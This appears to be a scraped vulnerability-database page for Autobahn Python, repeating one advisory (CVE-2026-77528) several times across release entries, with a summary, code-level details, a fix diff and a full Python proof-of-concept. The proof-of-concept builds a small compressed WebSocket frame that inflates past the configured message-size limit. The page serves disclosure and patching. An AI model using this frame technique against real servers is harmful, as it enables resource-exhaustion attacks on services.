+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Nov 06, 2018

18.10.1.post1 pre

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Oct 20, 2018

18.9.2 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Sep 10, 2018

18.7.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
